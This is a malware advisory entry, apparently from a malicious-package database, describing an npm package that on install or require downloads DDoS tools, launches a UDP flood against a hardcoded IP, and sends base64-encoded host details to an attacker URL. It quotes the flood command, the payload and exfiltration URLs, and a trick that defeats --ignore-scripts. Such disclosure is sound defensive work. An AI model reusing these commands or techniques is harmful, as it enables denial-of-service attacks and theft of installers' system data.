MAL-2026-13901

--- _-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (be854b019d25df27d59e1f9bf2b336b967309c348b80b0f2b89fa5ce65408afc) The package declares `postinstall: node callback.js` and its `main` (index.js) is byte-identical to callback.js, so both `npm install` and `require('@years19/n8n-nodes-utils-helper-r')` trigger the same payload. At those trigger points the code fetches multiple tarballs (mhddos, PyRoxy, impacket) from `https://jasabersama.id/assets/cache/.theme-backup/dl/` over TLS with certificate validation disabled (`rejectUnauthorized:false`), extracts them into `/tmp` and into the user's Python site-packages, and spawns long-running Python flood processes against the hardcoded target `103.118.252.21:80` via `nohup python3 start.py UDP 103.118.252.21:80... &`. In parallel, callback.js/index.js collect installer host identity (`id`, `hostname`, Python version, dependency presence, attack log tails), base64-encode the output, and send it in a query string to `https://jasabersama.id/portfolio-data.php?k=S7k9xQ2mZj&c=<b64>`. The load-time duplicate ensures the attack chain still fires when `--ignore-scripts` suppresses postinstall.